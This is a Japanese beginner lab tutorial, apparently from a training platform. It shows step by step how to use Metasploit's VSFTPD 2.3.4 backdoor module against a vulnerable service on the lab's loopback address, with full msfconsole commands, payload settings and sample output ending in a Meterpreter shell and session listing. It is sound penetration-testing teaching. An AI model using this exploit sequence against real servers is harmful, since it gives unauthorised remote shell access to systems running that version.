Metasploit によるシンプルなエクスプロイト実行

LinuxBeginner
オンラインで実践に進む

はじめに

Metasploit を使ったペネトレーションテストの世界へようこそ!Metasploit Framework は、サイバーセキュリティの専門家がネットワークやサーバーの脆弱性を調査するために使用する強力なオープンソースツールです。

この実験では、古典的で分かりやすいエクスプロイトの手順を体験します。実験環境には、脆弱性のあるバージョンの VSFTPD (Very Secure FTP Daemon)、具体的にはバージョン 2.3.4 が動作するサーバーを用意しました。この特定のバージョンには、ソースコードに秘密裏に追加された有名なバックドアが含まれています。

あなたの目標は、Metasploit コンソール (msfconsole) を使用してこのサービスに対するエクスプロイトを検索、設定、実行し、ターゲットシステム上でコマンドシェルを取得することです。この実践的な演習を通じて、Metasploit を使用したエクスプロイト実行の基本的なワークフローを習得します。

それでは始めましょう!

use exploit/unix/ftp/vsftpd_234_backdoor による脆弱なサービスのエクスプロイト選択

このステップでは、Metasploit コンソールを起動し、VSFTPD 2.3.4 のバックドアに適したエクスプロイトモジュールを選択します。msfconsole は Metasploit Framework の主要なインターフェースです。

まず、Metasploit コンソールを起動します。バナーをスキップして素早く起動するために -q (quiet) フラグを使用します。

msfconsole -q

コンソールが読み込まれると、プロンプトが msf > に変わります。次に、使用したいエクスプロイトを Metasploit に指定する必要があります。use コマンドは特定のモジュールを読み込みます。VSFTPD 2.3.4 バックドア用のモジュールは exploit/unix/ftp/vsftpd_234_backdoor にあります。

Metasploit コンソールで以下のコマンドを実行してください。

use exploit/unix/ftp/vsftpd_234_backdoor

コマンドを実行すると、プロンプトが変化し、選択したエクスプロイトモジュールの名前が表示されるようになります。これは、モジュールがアクティブになり、設定の準備が整ったことを示しています。

Metasploit のバージョンによっては、デフォルトのペイロードが自動的に選択される場合があります(例: cmd/linux/http/x86/meterpreter_reverse_tcp)。このペイロードには以下の2つの設定が必要です。

  1. LHOST - Metasploit がリバース接続を待ち受ける IP アドレスです。この実験では 127.0.0.1 を使用します。
set LHOST 127.0.0.1
  1. Encoder - デフォルトのエンコーダーでは "All encoders failed to encode." というエラーが発生する可能性があります。エンコーディングを回避するために、エンコーダーを generic/none に設定します。
set Encoder generic/none

set RHOSTS target_ip によるターゲット IP の設定

このステップでは、ターゲットホストの IP アドレスを設定してエクスプロイトを構成します。ほとんどの Metasploit モジュールでは、ターゲットを指定する必要があります。リモートターゲットホストを指定するオプションは RHOSTS です。

脆弱な FTP サービスは現在操作しているマシン(実験環境)上で動作しているため、ループバック IP アドレスである 127.0.0.1 を使用できます。

このオプションを設定するには、set コマンドの後にオプション名 (RHOSTS) とその値 (127.0.0.1) を指定します。

msfconsole で以下のコマンドを入力してください。

set RHOSTS 127.0.0.1

Metasploit は、オプションとその新しい値を表示して設定を確認します。

RHOSTS => 127.0.0.1

これで、攻撃の対象を Metasploit に指示できました。

show options によるエクスプロイトオプションの確認

このステップでは、エクスプロイトを実行する前に、必要なすべてのオプションが正しく設定されているかを確認します。これは、エクスプロイトが適切に構成されていることを保証するための重要なベストプラクティスです。

show options コマンドは、現在読み込まれているモジュールのすべての設定可能なオプション、現在の設定値、およびそれらが必要かどうかを表示します。

msfconsole で以下のコマンドを実行してください。

show options

モジュールオプションとペイロードオプションが記載された表が表示されます。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ----- ----------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

出力を確認してください。RHOSTS127.0.0.1 に、LHOST127.0.0.1 になっていることを確認します。RPORT21 (FTP) です。必要なすべてのオプションが設定されたので、次に進む準備が整いました。

exploit コマンドによるエクスプロイトの実行

エクスプロイトの設定が完了しましたので、ターゲットに対して実行します。exploit コマンド(run と省略可能)を使用すると、現在のモジュールと設定に基づいて攻撃が開始されます。

以下のコマンドを入力して Enter キーを押し、エクスプロイトを実行してください。

exploit

トラブルシューティング: Msf::OptionValidateError One or more options failed to validate: LHOST というエラーが表示された場合は、set LHOST 127.0.0.1 を実行してください。また、All encoders failed to encode と表示された場合は、set Encoder generic/none を実行してエンコーディングを無効化してから、再度 exploit を実行してください。

警告: 初回の試行で "Unable to connect to backdoor on 6200/TCP. Cooldown?" や "Exploit completed, but no session was created." といったエラーが出て失敗する場合があります。その際は、もう一度 exploit コマンドを実行してください。2回目の試行で成功するはずです。

Metasploit がバックドアへの攻撃を試みます。攻撃の各ステップを示す詳細な出力が表示されます。成功するとバックドアが起動し、Meterpreter セッションが開かれます。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

重要: エクスプロイトが成功すると、Meterpreter プロンプトが表示されます。これがリモートアクセスの成功を意味します!shell を実行して対話型コマンドシェルを取得し、whoamiid を実行してアクセス権を確認してみましょう。

shell
Process 1234 created.
Channel 1 created.
whoami
labex

おめでとうございます!これでリモートアクセスの獲得に成功しました。

sessions -l によるセッションの確認

このステップでは、開いたばかりの接続(「セッション」)を管理する方法を学びます。Metasploit では、複数のセッションを同時に開き、それらを切り替えることができます。

まず、セッションを閉じずに msfconsole プロンプトに戻るには、セッションをバックグラウンドにする必要があります。キーボードの Ctrl+Z を押します。シェル内(shell 実行後)にいる場合は、y を入力してチャンネルをバックグラウンドにします。すると meterpreter > に戻ります。もう一度 Ctrl+Z を押し、セッションをバックグラウンドにするか聞かれたら y を入力します。

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

sessions コマンドは、Meterpreter 内ではなく、メインの Metasploit プロンプト (msf exploit(...) >) でのみ機能します。これでメインの Metasploit プロンプトに戻りました。アクティブなセッションのリストを表示するには、sessions コマンドに -l (list) フラグを付けて使用します。

sessions -l

これにより、ID、タイプ、接続情報を含む、バックグラウンドにあるすべてのセッションの表が表示されます。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

ID 1 のセッションが表示されているのがわかります。再度そのセッションと対話したい場合は、sessions -i 1 コマンドを使用します。このセッション管理は Metasploit の重要な機能です。

まとめ

おめでとうございます!この実験を無事に完了し、Metasploit Framework を使用した最初のエクスプロイトを実行できました。

この実験では、Metasploit を使用したペネトレーションテストの基本的なワークフローを学びました。

  • Metasploit コンソール (msfconsole) の起動。
  • use コマンドによる特定のエクスプロイトモジュールの選択。
  • set コマンドによるモジュールのターゲット設定。
  • show options による設定の確認。
  • exploit コマンドを使用した攻撃の開始。
  • sessions を使用した接続の管理。

この「選択、設定、エクスプロイト」という基本的なパターンは、Metasploit 内で行うほぼすべての活動の基礎となります。これで、より複雑なエクスプロイトやペイロードを探索するための核心的な知識を身につけました。